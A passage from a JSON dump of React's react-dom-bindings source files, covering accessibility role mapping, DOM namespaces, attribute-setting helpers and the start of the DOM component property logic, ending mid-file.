padding: ['paddingBottom', 'paddingLeft', 'paddingRight', 'paddingTop'],\n  paddingBlock: ['paddingBlockEnd', 'paddingBlockStart'],\n  paddingInline: ['paddingInlineEnd', 'paddingInlineStart'],\n  pageBreakAfter: ['breakAfter'],\n  pageBreakBefore: ['breakBefore'],\n  pageBreakInside: ['breakInside'],\n  placeContent: ['alignContent', 'justifyContent'],\n  placeItems: ['alignItems', 'justifyItems'],\n  placeSelf: ['alignSelf', 'justifySelf'],\n  scrollMargin: [\n    'scrollMarginBottom',\n    'scrollMarginLeft',\n    'scrollMarginRight',\n    'scrollMarginTop',\n  ],\n  scrollMarginBlock: ['scrollMarginBlockEnd', 'scrollMarginBlockStart'],\n  scrollMarginInline: ['scrollMarginInlineEnd', 'scrollMarginInlineStart'],\n  scrollPadding: [\n    'scrollPaddingBottom',\n    'scrollPaddingLeft',\n    'scrollPaddingRight',\n    'scrollPaddingTop',\n  ],\n  scrollPaddingBlock: ['scrollPaddingBlockEnd', 'scrollPaddingBlockStart'],\n  scrollPaddingInline: ['scrollPaddingInlineEnd', 'scrollPaddingInlineStart'],\n  textDecoration: [\n    'textDecorationColor',\n    'textDecorationLine',\n    'textDecorationStyle',\n    'textDecorationThickness',\n  ],\n  textEmphasis: ['textEmphasisColor', 'textEmphasisStyle'],\n  textWrap: ['textWrapMode', 'textWrapStyle'],\n  transition: [\n    'transitionBehavior',\n    'transitionDelay',\n    'transitionDuration',\n    'transitionProperty',\n    'transitionTimingFunction',\n  ],\n  verticalAlign: ['alignmentBaseline', 'baselineShift', 'baselineSource'],\n  whiteSpace: ['textWrapMode', 'whiteSpaceCollapse'],\n  wordWrap: ['overflowWrap'],\n};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/DOMAccessibilityRoles.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Below code forked from dom-accessibility-api\n\nconst tagToRoleMappings = {\n  ARTICLE: 'article',\n  ASIDE: 'complementary',\n  BODY: 'document',\n  BUTTON: 'button',\n  DATALIST: 'listbox',\n  DD: 'definition',\n  DETAILS: 'group',\n  DIALOG: 'dialog',\n  DT: 'term',\n  FIELDSET: 'group',\n  FIGURE: 'figure',\n  // WARNING: Only with an accessible name\n  FORM: 'form',\n  FOOTER: 'contentinfo',\n  H1: 'heading',\n  H2: 'heading',\n  H3: 'heading',\n  H4: 'heading',\n  H5: 'heading',\n  H6: 'heading',\n  HEADER: 'banner',\n  HR: 'separator',\n  LEGEND: 'legend',\n  LI: 'listitem',\n  MATH: 'math',\n  MAIN: 'main',\n  MENU: 'list',\n  NAV: 'navigation',\n  OL: 'list',\n  OPTGROUP: 'group',\n  // WARNING: Only in certain context\n  OPTION: 'option',\n  OUTPUT: 'status',\n  PROGRESS: 'progressbar',\n  // WARNING: Only with an accessible name\n  SECTION: 'region',\n  SUMMARY: 'button',\n  TABLE: 'table',\n  TBODY: 'rowgroup',\n  TEXTAREA: 'textbox',\n  TFOOT: 'rowgroup',\n  // WARNING: Only in certain context\n  TD: 'cell',\n  TH: 'columnheader',\n  THEAD: 'rowgroup',\n  TR: 'row',\n  UL: 'list',\n};\n\nfunction getImplicitRole(element: Element): string | null {\n  // $FlowFixMe[invalid-computed-prop]\n  const mappedByTag = tagToRoleMappings[element.tagName];\n  if (mappedByTag !== undefined) {\n    return mappedByTag;\n  }\n\n  switch (element.tagName) {\n    case 'A':\n    case 'AREA':\n    case 'LINK':\n      if (element.hasAttribute('href')) {\n        return 'link';\n      }\n      break;\n    case 'IMG':\n      if ((element.getAttribute('alt') || '').length > 0) {\n        return 'img';\n      }\n      break;\n    case 'INPUT': {\n      const type = (element: any).type;\n      switch (type) {\n        case 'button':\n        case 'image':\n        case 'reset':\n        case 'submit':\n          return 'button';\n        case 'checkbox':\n        case 'radio':\n          return type;\n        case 'range':\n          return 'slider';\n        case 'email':\n        case 'tel':\n        case 'text':\n        case 'url':\n          if (element.hasAttribute('list')) {\n            return 'combobox';\n          }\n          return 'textbox';\n        case 'search':\n          if (element.hasAttribute('list')) {\n            return 'combobox';\n          }\n          return 'searchbox';\n        default:\n          return null;\n      }\n    }\n\n    case 'SELECT':\n      if (element.hasAttribute('multiple') || (element: any).size > 1) {\n        return 'listbox';\n      }\n      return 'combobox';\n  }\n\n  return null;\n}\n\nfunction getExplicitRoles(element: Element): Array<string> | null {\n  const role = element.getAttribute('role');\n  if (role) {\n    return role.trim().split(' ');\n  }\n\n  return null;\n}\n\n// https://w3c.github.io/html-aria/#document-conformance-requirements-for-use-of-aria-attributes-in-html\nexport function hasRole(element: Element, role: string): boolean {\n  const explicitRoles = getExplicitRoles(element);\n  if (explicitRoles !== null && explicitRoles.indexOf(role) >= 0) {\n    return true;\n  }\n\n  return role === getImplicitRole(element);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/DOMNamespaces.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const MATH_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';\nexport const SVG_NAMESPACE = 'http://www.w3.org/2000/svg';\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/DOMPropertyOperations.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport isAttributeNameSafe from '../shared/isAttributeNameSafe';\nimport {enableTrustedTypesIntegration} from 'shared/ReactFeatureFlags';\nimport {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';\nimport {getFiberCurrentPropsFromNode} from './ReactDOMComponentTree';\nimport {trackHostMutation} from 'react-reconciler/src/ReactFiberMutationTracking';\n\n/**\n * Get the value for a attribute on a node. Only used in DEV for SSR validation.\n * The third argument is used as a hint of what the expected value is. Some\n * attributes have multiple equivalent values.\n */\nexport function getValueForAttribute(\n  node: Element,\n  name: string,\n  expected: mixed,\n): mixed {\n  if (__DEV__) {\n    if (!isAttributeNameSafe(name)) {\n      return;\n    }\n    if (!node.hasAttribute(name)) {\n      // shouldRemoveAttribute\n      switch (typeof expected) {\n        case 'function':\n        case 'symbol':\n          return expected;\n        case 'boolean': {\n          const prefix = name.toLowerCase().slice(0, 5);\n          if (prefix !== 'data-' && prefix !== 'aria-') {\n            return expected;\n          }\n        }\n      }\n      return expected === undefined ? undefined : null;\n    }\n    const value = node.getAttribute(name);\n    if (__DEV__) {\n      checkAttributeStringCoercion(expected, name);\n    }\n    if (value === '' + (expected: any)) {\n      return expected;\n    }\n    return value;\n  }\n}\n\nexport function getValueForAttributeOnCustomComponent(\n  node: Element,\n  name: string,\n  expected: mixed,\n): mixed {\n  if (__DEV__) {\n    if (!isAttributeNameSafe(name)) {\n      return;\n    }\n    if (!node.hasAttribute(name)) {\n      // shouldRemoveAttribute\n      switch (typeof expected) {\n        case 'symbol':\n        case 'object':\n          // Symbols and objects are ignored when they're emitted so\n          // it would be expected that they end up not having an attribute.\n          return expected;\n        case 'function':\n          return expected;\n        case 'boolean':\n          if (expected === false) {\n            return expected;\n          }\n      }\n      return expected === undefined ? undefined : null;\n    }\n    const value = node.getAttribute(name);\n\n    if (value === '' && expected === true) {\n      return true;\n    }\n\n    if (__DEV__) {\n      checkAttributeStringCoercion(expected, name);\n    }\n    if (value === '' + (expected: any)) {\n      return expected;\n    }\n    return value;\n  }\n}\n\nexport function setValueForAttribute(\n  node: Element,\n  name: string,\n  value: mixed,\n) {\n  if (isAttributeNameSafe(name)) {\n    // If the prop isn't in the special list, treat it as a simple attribute.\n    // shouldRemoveAttribute\n    if (value === null) {\n      node.removeAttribute(name);\n      return;\n    }\n    switch (typeof value) {\n      case 'undefined':\n      case 'function':\n      case 'symbol':\n        node.removeAttribute(name);\n        return;\n      case 'boolean': {\n        const prefix = name.toLowerCase().slice(0, 5);\n        if (prefix !== 'data-' && prefix !== 'aria-') {\n          node.removeAttribute(name);\n          return;\n        }\n      }\n    }\n    if (__DEV__) {\n      checkAttributeStringCoercion(value, name);\n    }\n    node.setAttribute(\n      name,\n      enableTrustedTypesIntegration ? (value: any) : '' + (value: any),\n    );\n  }\n}\n\nexport function setValueForKnownAttribute(\n  node: Element,\n  name: string,\n  value: mixed,\n) {\n  if (value === null) {\n    node.removeAttribute(name);\n    return;\n  }\n  switch (typeof value) {\n    case 'undefined':\n    case 'function':\n    case 'symbol':\n    case 'boolean': {\n      node.removeAttribute(name);\n      return;\n    }\n  }\n  if (__DEV__) {\n    checkAttributeStringCoercion(value, name);\n  }\n  node.setAttribute(\n    name,\n    enableTrustedTypesIntegration ? (value: any) : '' + (value: any),\n  );\n}\n\nexport function setValueForNamespacedAttribute(\n  node: Element,\n  namespace: string,\n  name: string,\n  value: mixed,\n) {\n  if (value === null) {\n    node.removeAttribute(name);\n    return;\n  }\n  switch (typeof value) {\n    case 'undefined':\n    case 'function':\n    case 'symbol':\n    case 'boolean': {\n      node.removeAttribute(name);\n      return;\n    }\n  }\n  if (__DEV__) {\n    checkAttributeStringCoercion(value, name);\n  }\n  node.setAttributeNS(\n    namespace,\n    name,\n    enableTrustedTypesIntegration ? (value: any) : '' + (value: any),\n  );\n}\n\nexport function setValueForPropertyOnCustomComponent(\n  node: Element,\n  name: string,\n  value: mixed,\n) {\n  if (name[0] === 'o' && name[1] === 'n') {\n    const useCapture = name.endsWith('Capture');\n    const eventName = name.slice(2, useCapture ? name.length - 7 : undefined);\n\n    const prevProps = getFiberCurrentPropsFromNode(node);\n    // $FlowFixMe[invalid-computed-prop]\n    const prevValue = prevProps != null ? prevProps[name] : null;\n    if (typeof prevValue === 'function') {\n      node.removeEventListener(eventName, prevValue, useCapture);\n    }\n    if (typeof value === 'function') {\n      if (typeof prevValue !== 'function' && prevValue !== null) {\n        // If we previously assigned a non-function type into this node, then\n        // remove it when switching to event listener mode.\n        if (name in (node: any)) {\n          (node: any)[name] = null;\n        } else if (node.hasAttribute(name)) {\n          node.removeAttribute(name);\n        }\n      }\n      // $FlowFixMe[incompatible-cast] value can't be casted to EventListener.\n      node.addEventListener(eventName, (value: EventListener), useCapture);\n      return;\n    }\n  }\n\n  trackHostMutation();\n\n  if (name in (node: any)) {\n    (node: any)[name] = value;\n    return;\n  }\n\n  if (value === true) {\n    node.setAttribute(name, '');\n    return;\n  }\n\n  // From here, it's the same as any attribute\n  setValueForAttribute(node, name, value);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/HTMLNodeType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * HTML nodeType values that represent the type of the node\n */\n\nexport const ELEMENT_NODE = 1;\nexport const TEXT_NODE = 3;\nexport const COMMENT_NODE = 8;\nexport const DOCUMENT_NODE = 9;\nexport const DOCUMENT_TYPE_NODE = 10;\nexport const DOCUMENT_FRAGMENT_NODE = 11;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/ReactDOMComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {HostContext, HostContextDev} from './ReactFiberConfigDOM';\n\nimport {HostContextNamespaceNone} from './ReactFiberConfigDOM';\n\nimport {\n  registrationNameDependencies,\n  possibleRegistrationNames,\n} from '../events/EventRegistry';\n\nimport {checkHtmlStringCoercion} from 'shared/CheckStringCoercion';\nimport {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';\nimport {checkControlledValueProps} from '../shared/ReactControlledValuePropTypes';\n\nimport {\n  getValueForAttribute,\n  getValueForAttributeOnCustomComponent,\n  setValueForPropertyOnCustomComponent,\n  setValueForKnownAttribute,\n  setValueForAttribute,\n  setValueForNamespacedAttribute,\n} from './DOMPropertyOperations';\nimport {\n  validateInputProps,\n  initInput,\n  updateInput,\n  restoreControlledInputState,\n} from './ReactDOMInput';\nimport {validateOptionProps} from './ReactDOMOption';\nimport {\n  validateSelectProps,\n  initSelect,\n  restoreControlledSelectState,\n  updateSelect,\n} from './ReactDOMSelect';\nimport {\n  validateTextareaProps,\n  initTextarea,\n  updateTextarea,\n  restoreControlledTextareaState,\n} from './ReactDOMTextarea';\nimport {setSrcObject} from './ReactDOMSrcObject';\nimport {validateTextNesting} from './validateDOMNesting';\nimport setTextContent from './setTextContent';\nimport {\n  createDangerousStringForStyles,\n  setValueForStyles,\n} from './CSSPropertyOperations';\nimport {SVG_NAMESPACE, MATH_NAMESPACE} from './DOMNamespaces';\nimport isCustomElement from '../shared/isCustomElement';\nimport getAttributeAlias from '../shared/getAttributeAlias';\nimport possibleStandardNames from '../shared/possibleStandardNames';\nimport {validateProperties as validateARIAProperties} from '../shared/ReactDOMInvalidARIAHook';\nimport {validateProperties as validateInputProperties} from '../shared/ReactDOMNullInputValuePropHook';\nimport {validateProperties as validateUnknownProperties} from '../shared/ReactDOMUnknownPropertyHook';\nimport sanitizeURL from '../shared/sanitizeURL';\n\nimport noop from 'shared/noop';\n\nimport {trackHostMutation} from 'react-reconciler/src/ReactFiberMutationTracking';\n\nimport {\n  enableHydrationChangeEvent,\n  enableScrollEndPolyfill,\n  enableSrcObject,\n  enableTrustedTypesIntegration,\n  enableViewTransition,\n} from 'shared/ReactFeatureFlags';\nimport {\n  mediaEventTypes,\n  listenToNonDelegatedEvent,\n} from '../events/DOMPluginEventSystem';\n\nlet didWarnControlledToUncontrolled = false;\nlet didWarnUncontrolledToControlled = false;\nlet didWarnFormActionType = false;\nlet didWarnFormActionName = false;\nlet didWarnFormActionTarget = false;\nlet didWarnFormActionMethod = false;\nlet didWarnForNewBooleanPropsWithEmptyValue: {[string]: boolean};\nlet didWarnPopoverTargetObject = false;\nif (__DEV__) {\n  didWarnForNewBooleanPropsWithEmptyValue = {};\n}\n\nfunction validatePropertiesInDevelopment(type: string, props: any) {\n  if (__DEV__) {\n    validateARIAProperties(type, props);\n    validateInputProperties(type, props);\n    validateUnknownProperties(type, props, {\n      registrationNameDependencies,\n      possibleRegistrationNames,\n    });\n    if (\n      props.contentEditable &&\n      !props.suppressContentEditableWarning &&\n      props.children != null\n    ) {\n      console.error(\n        'A component is `contentEditable` and contains `children` managed by ' +\n          'React. It is now your responsibility to guarantee that none of ' +\n          'those nodes are unexpectedly modified or duplicated. This is ' +\n          'probably not intentional.',\n      );\n    }\n  }\n}\n\nfunction validateFormActionInDevelopment(\n  tag: string,\n  key: string,\n  value: mixed,\n  props: any,\n) {\n  if (__DEV__) {\n    if (value == null) {\n      return;\n    }\n    if (tag === 'form') {\n      if (key === 'formAction') {\n        console.error(\n          'You can only pass the formAction prop to <input> or <button>. Use the action prop on <form>.',\n        );\n      } else if (typeof value === 'function') {\n        if (\n          (props.encType != null || props.method != null) &&\n          !didWarnFormActionMethod\n        ) {\n          didWarnFormActionMethod = true;\n          console.error(\n            'Cannot specify a encType or method for a form that specifies a ' +\n              'function as the action. React provides those automatically. ' +\n              'They will get overridden.',\n          );\n        }\n        if (props.target != null && !didWarnFormActionTarget) {\n          didWarnFormActionTarget = true;\n          console.error(\n            'Cannot specify a target for a form that specifies a function as the action. ' +\n              'The function will always be executed in the same window.',\n          );\n        }\n      }\n    } else if (tag === 'input' || tag === 'button') {\n      if (key === 'action') {\n        console.error(\n          'You can only pass the action prop to <form>. Use the formAction prop on <input> or <button>.',\n        );\n      } else if (\n        tag === 'input' &&\n        props.type !== 'submit' &&\n        props.type !== 'image' &&\n        !didWarnFormActionType\n      ) {\n        didWarnFormActionType = true;\n        console.error(\n          'An input can only specify a formAction along with type=\"submit\" or type=\"image\".',\n        );\n      } else if (\n        tag === 'button' &&\n        props.type != null &&\n        props.type !== 'submit' &&\n        !didWarnFormActionType\n      ) {\n        didWarnFormActionType = true;\n        console.error(\n          'A button can only specify a formAction along with type=\"submit\" or no type.',\n        );\n      } else if (typeof value === 'function') {\n        // Function form actions cannot control the form properties\n        if (props.name != null && !didWarnFormActionName) {\n          didWarnFormActionName = true;\n          console.error(\n            'Cannot specify a \"name\" prop for a button that specifies a function as a formAction. ' +\n              'React needs it to encode which action should be invoked. It will get overridden.',\n          );\n        }\n        if (\n          (props.formEncType != null || props.formMethod != null) &&\n          !didWarnFormActionMethod\n        ) {\n          didWarnFormActionMethod = true;\n          console.error(\n            'Cannot specify a formEncType or formMethod for a button that specifies a ' +\n              'function as a formAction. React provides those automatically. They will get overridden.',\n          );\n        }\n        if (props.formTarget != null && !didWarnFormActionTarget) {\n          didWarnFormActionTarget = true;\n          console.error(\n            'Cannot specify a formTarget for a button that specifies a function as a formAction. ' +\n              'The function will always be executed in the same window.',\n          );\n        }\n      }\n    } else {\n      if (key === 'action') {\n        console.error('You can only pass the action prop to <form>.');\n      } else {\n        console.error(\n          'You can only pass the formAction prop to <input> or <button>.',\n        );\n      }\n    }\n  }\n}\n\nfunction warnForPropDifference(\n  propName: string,\n  serverValue: mixed,\n  clientValue: mixed,\n  serverDifferences: {[propName: string]: mixed},\n): void {\n  if (__DEV__) {\n    if (serverValue === clientValue) {\n      return;\n    }\n    const normalizedClientValue =\n      normalizeMarkupForTextOrAttribute(clientValue);\n    const normalizedServerValue =\n      normalizeMarkupForTextOrAttribute(serverValue);\n    if (normalizedServerValue === normalizedClientValue) {\n      return;\n    }\n\n    serverDifferences[propName] = serverValue;\n  }\n}\n\nfunction hasViewTransition(htmlElement: HTMLElement): boolean {\n  return !!(\n    htmlElement.getAttribute('vt-share') ||\n    htmlElement.getAttribute('vt-exit') ||\n    htmlElement.getAttribute('vt-enter') ||\n    htmlElement.getAttribute('vt-update')\n  );\n}\n\nfunction isExpectedViewTransitionName(htmlElement: HTMLElement): boolean {\n  if (!hasViewTransition(htmlElement)) {\n    // We didn't expect to see a view transition name applied.\n    return false;\n  }\n  const expectedVtName = htmlElement.getAttribute('vt-name');\n  const actualVtName: string = (htmlElement.style: any)['view-transition-name'];\n  if (expectedVtName) {\n    return expectedVtName === actualVtName;\n  } else {\n    // Auto-generated name.\n    // TODO: If Fizz starts applying a prefix to this name, we need to consider that.\n    return actualVtName.startsWith('_T_');\n  }\n}\n\nfunction warnForExtraAttributes(\n  domElement: Element,\n  attributeNames: Set<string>,\n  serverDifferences: {[propName: string]: mixed},\n) {\n  if (__DEV__) {\n    attributeNames.forEach(function (attributeName) {\n      if (attributeName === 'style') {\n        if (domElement.getAttribute(attributeName) === '') {\n          // Skip empty style. It's fine.\n          return;\n        }\n        const htmlElement = ((domElement: any): HTMLElement);\n        const style = htmlElement.style;\n        const isOnlyVTStyles =\n          (style.length === 1 && style[0] === 'view-transition-name') ||\n          (style.length === 2 &&\n            style[0] === 'view-transition-class' &&\n            style[1] === 'view-transition-name');\n        if (isOnlyVTStyles && isExpectedViewTransitionName(htmlElement)) {\n          // If the only extra style was the view-transition-name that we applied from the Fizz\n          // runtime, then we should ignore it.\n        } else {\n          serverDifferences.style = getStylesObjectFromElement(domElement);\n        }\n      } else {\n        serverDifferences[getPropNameFromAttributeName(attributeName)] =\n          domElement.getAttribute(attributeName);\n      }\n    });\n  }\n}\n\nfunction warnForInvalidEventListener(registrationName: string, listener: any) {\n  if (__DEV__) {\n    if (listener === false) {\n      console.error(\n        'Expected `%s` listener to be a function, instead got `false`.\\n\\n' +\n          'If you used to conditionally omit it with %s={condition && value}, ' +\n          'pass %s={condition ? value : undefined} instead.',\n        registrationName,\n        registrationName,\n        registrationName,\n      );\n    } else {\n      console.error(\n        'Expected `%s` listener to be a function, instead got a value of `%s` type.',\n        registrationName,\n        typeof listener,\n      );\n    }\n  }\n}\n\n// Parse the HTML and read it back to normalize the HTML string so that it\n// can be used for comparison.\nfunction normalizeHTML(parent: Element, html: string) {\n  if (__DEV__) {\n    // We could have created a separate document here to avoid\n    // re-initializing custom elements if they exist. But this breaks\n    // how <noscript> is being handled. So we use the same document.\n    // See the discussion in https://github.com/facebook/react/pull/11157.\n    const testElement =\n      parent.namespaceURI === MATH_NAMESPACE ||\n      parent.namespaceURI === SVG_NAMESPACE\n        ? parent.ownerDocument.createElementNS(\n            (parent.namespaceURI: any),\n            parent.tagName,\n          )\n        : parent.ownerDocument.createElement(parent.tagName);\n    testElement.innerHTML = html;\n    return testElement.innerHTML;\n  }\n}\n\n// HTML parsing normalizes CR and CRLF to LF.\n// It also can turn \\u0000 into \\uFFFD inside attributes.\n// https://www.w3.org/TR/html5/single-page.html#preprocessing-the-input-stream\n// If we have a mismatch, it might be caused by that.\n// We will still patch up in this case but not fire the warning.\nconst NORMALIZE_NEWLINES_REGEX = /\\r\\n?/g;\nconst NORMALIZE_NULL_AND_REPLACEMENT_REGEX = /\\u0000|\\uFFFD/g;\n\nfunction normalizeMarkupForTextOrAttribute(markup: mixed): string {\n  if (__DEV__) {\n    checkHtmlStringCoercion(markup);\n  }\n  const markupString = typeof markup === 'string' ? markup : '' + (markup: any);\n  return markupString\n    .replace(NORMALIZE_NEWLINES_REGEX, '\\n')\n    .replace(NORMALIZE_NULL_AND_REPLACEMENT_REGEX, '');\n}\n\nfunction checkForUnmatchedText(\n  serverText: string,\n  clientText: string | number | bigint,\n) {\n  const normalizedClientText = normalizeMarkupForTextOrAttribute(clientText);\n  const normalizedServerText = normalizeMarkupForTextOrAttribute(serverText);\n  if (normalizedServerText === normalizedClientText) {\n    return true;\n  }\n  return false;\n}\n\nexport function trapClickOnNonInteractiveElement(node: HTMLElement) {\n  // Mobile Safari does not fire properly bubble click events on\n  // non-interactive elements, which means delegated click listeners do not\n  // fire. The workaround for this bug involves attaching an empty click\n  // listener on the target node.\n  // https://www.quirksmode.org/blog/archives/2010/09/click_event_del.html\n  // Just set it using the onclick property so that we don't have to manage any\n  // bookkeeping for it. Not sure if we need to clear it when the listener is\n  // removed.\n  // TODO: Only do this for the relevant Safaris maybe?\n  node.onclick = noop;\n}\n\nconst xlinkNamespace = 'http://www.w3.org/1999/xlink';\nconst xmlNamespace = 'http://www.w3.org/XML/1998/namespace';\n\nfunction setProp(\n  domElement: Element,\n  tag: string,\n  key: string,\n  value: mixed,\n  props: any,\n  prevValue: mixed,\n): void {\n  switch (key) {\n    case 'children': {\n      if (typeof value === 'string') {\n        if (__DEV__) {\n          validateTextNesting(value, tag, false);\n        }\n        // Avoid setting initial textContent when the text is empty. In IE11 setting\n        // textContent on a <textarea> will cause the placeholder to not\n        // show within the <textarea> until it has been focused and blurred again.\n        // https://github.com/facebook/react/issues/6731#issuecomment-254874553\n        const canSetTextContent =\n          tag !== 'body' && (tag !== 'textarea' || value !== '');\n        if (canSetTextContent) {\n          setTextContent(domElement, value);\n        }\n      } else if (typeof value === 'number' || typeof value === 'bigint') {\n        if (__DEV__) {\n          // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint\n          validateTextNesting('' + value, tag, false);\n        }\n        const canSetTextContent = tag !== 'body';\n        if (canSetTextContent) {\n          // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint\n          setTextContent(domElement, '' + value);\n        }\n      } else {\n        return;\n      }\n      break;\n    }\n    // These are very common props and therefore are in the beginning of the switch.\n    // TODO: aria-label is a very common prop but allows booleans so is not like the others\n    // but should ideally go in this list too.\n    case 'className':\n      setValueForKnownAttribute(domElement, 'class', value);\n      break;\n    case 'tabIndex':\n      // This has to be case sensitive in SVG.\n      setValueForKnownAttribute(domElement, 'tabindex', value);\n      break;\n    case 'dir':\n    case 'role':\n    case 'viewBox':\n    case 'width':\n    case 'height': {\n      setValueForKnownAttribute(domElement, key, value);\n      break;\n    }\n    case 'style': {\n      setValueForStyles(domElement, value, prevValue);\n      return;\n    }\n    // These attributes accept URLs. These must not allow javascript: URLS.\n    case 'data':\n      if (tag !== 'object') {\n        setValueForKnownAttribute(domElement, 'data', value);\n        break;\n      }\n    // fallthrough\n    case 'src': {\n      if (enableSrcObject && typeof value === 'object' && value !== null) {\n        // Some tags support object sources like Blob, File, MediaSource and MediaStream.\n        if (tag === 'img' || tag === 'video' || tag === 'audio') {\n          try {\n            setSrcObject(domElement, tag, value);\n            break;\n          } catch (x) {\n            // If URL.createObjectURL() errors, it was probably some other object type\n            // that should be toString:ed instead, so we just fall-through to the normal\n            // path.\n          }\n        } else {\n          if (__DEV__) {\n            try {\n              // This should always error.\n              URL.revokeObjectURL(URL.createObjectURL((value: any)));\n              if (tag === 'source') {\n                console.error(\n                  'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +\n                    'Pass it directly to <img src>, <video src> or <audio src> instead.',\n                );\n              } else {\n                console.error(\n                  'Passing Blob, MediaSource or MediaStream to <%s src> is not supported.',\n                  tag,\n                );\n              }\n            } catch (x) {}\n          }\n        }\n      }\n      // Fallthrough\n    }\n    case 'href': {\n      if (\n        value === '' &&\n        // <a href=\"\"> is fine for \"reload\" links.\n        !(tag === 'a' && key === 'href')\n      ) {\n        if (__DEV__) {\n          if (key === 'src') {\n            console.error(\n              'An empty string (\"\") was passed to the %s attribute. ' +\n                'This may cause the browser to download the whole page again over the network. ' +\n                'To fix this, either do not render the element at all ' +\n                'or pass null to %s instead of an empty string.',\n              key,\n              key,\n            );\n          } else {\n            console.error(\n              'An empty string (\"\") was passed to the %s attribute. ' +\n                'To fix this, either do not render the element at all ' +\n                'or pass null to %s instead of an empty string.',\n              key,\n              key,\n            );\n          }\n        }\n        domElement.removeAttribute(key);\n        break;\n      }\n      if (\n        value == null ||\n        typeof value === 'function' ||\n        typeof value === 'symbol' ||\n        typeof value === 'boolean'\n      ) {\n        domElement.removeAttribute(key);\n        break;\n      }\n      // `setAttribute` with objects becomes only `[object]` in IE8/9,\n      // ('' + value) makes it output the correct toString()-value.\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, key);\n      }\n      const sanitizedValue = (sanitizeURL(\n        enableTrustedTypesIntegration ? value : '' + (value: any),\n      ): any);\n      domElement.setAttribute(key, sanitizedValue);\n      break;\n    }\n    case 'action':\n    case 'formAction': {\n      // TODO: Consider moving these special cases to the form, input and button tags.\n      if (__DEV__) {\n        validateFormActionInDevelopment(tag, key, value, props);\n      }\n      if (typeof value === 'function') {\n        // Set a javascript URL that doesn't do anything. We don't expect this to be invoked\n        // because we'll preventDefault, but it can happen if a form is manually submitted or\n        // if someone calls stopPropagation before React gets the event.\n        // If CSP is used to block javascript: URLs that's fine too. It just won't show this\n        // error message but the URL will be logged.\n        domElement.setAttribute(\n          key,\n          // eslint-disable-next-line no-script-url\n          \"javascript:throw new Error('\" +\n            'A React form was unexpectedly submitted. If you called form.submit() manually, ' +\n            \"consider using form.requestSubmit() instead. If you\\\\'re trying to use \" +\n            'event.stopPropagation() in a submit event handler, consider also calling ' +\n            'event.preventDefault().' +\n            \"')\",\n        );\n        break;\n      } else if (typeof prevValue === 'function') {\n        // When we're switching off a Server Action that was originally hydrated.\n        // The server control these fields during SSR that are now trailing.\n        // The regular diffing doesn't apply since we compare against the previous props.\n        // Instead, we need to force them to be set to whatever they should be now.\n        // This would be a lot cleaner if we did this whole fork in the per-tag approach.\n        if (key === 'formAction') {\n          if (tag !== 'input') {\n            // Setting the name here isn't completely safe for inputs if this is switching\n            // to become a radio button. In that case we let the tag based override take\n            // control.\n            setProp(domElement, tag, 'name', props.name, props, null);\n          }\n          setProp(\n            domElement,\n            tag,\n            'formEncType',\n            props.formEncType,\n            props,\n            null,\n          );\n          setProp(domElement, tag, 'formMethod', props.formMethod, props, null);\n          setProp(domElement, tag, 'formTarget', props.formTarget, props, null);\n        } else {\n          setProp(domElement, tag, 'encType', props.encType, props, null);\n          setProp(domElement, tag, 'method', props.method, props, null);\n          setProp(domElement, tag, 'target', props.target, props, null);\n        }\n      }\n      if (\n        value == null ||\n        typeof value === 'symbol' ||\n        typeof value === 'boolean'\n      ) {\n        domElement.removeAttribute(key);\n        break;\n      }\n      // `setAttribute` with objects becomes only `[object]` in IE8/9,\n      // ('' + value) makes it output the correct toString()-value.\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, key);\n      }\n      const sanitizedValue = (sanitizeURL(\n        enableTrustedTypesIntegration ? value : '' + (value: any),\n      ): any);\n      domElement.setAttribute(key, sanitizedValue);\n      break;\n    }\n    case 'onClick': {\n      // TODO: This cast may not be sound for SVG, MathML or custom elements.\n      if (value != null) {\n        if (__DEV__ && typeof value !== 'function') {\n          warnForInvalidEventListener(key, value);\n        }\n        trapClickOnNonInteractiveElement(((domElement: any): HTMLElement));\n      }\n      return;\n    }\n    case 'onScroll': {\n      if (value != null) {\n        if (__DEV__ && typeof value !== 'function') {\n          warnForInvalidEventListener(key, value);\n        }\n        listenToNonDelegatedEvent('scroll', domElement);\n      }\n      return;\n    }\n    case 'onScrollEnd': {\n      if (value != null) {\n        if (__DEV__ && typeof value !== 'function') {\n          warnForInvalidEventListener(key, value);\n        }\n        listenToNonDelegatedEvent('scrollend', domElement);\n        if (enableScrollEndPolyfill) {\n          // For use by the polyfill.\n          listenToNonDelegatedEvent('scroll', domElement);\n        }\n      }\n      return;\n    }\n    case 'dangerouslySetInnerHTML': {\n      if (value != null) {\n        if (typeof value !== 'object' || !('__html' in value)) {\n          throw new Error(\n            '`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' +\n              'Please visit https://react.dev/link/dangerously-set-inner-html ' +\n              'for more information.',\n          );\n        }\n        const nextHtml: any = value.__html;\n        if (nextHtml != null) {\n          if (props.children != null) {\n            throw new Error(\n              'Can only set one of `children` or 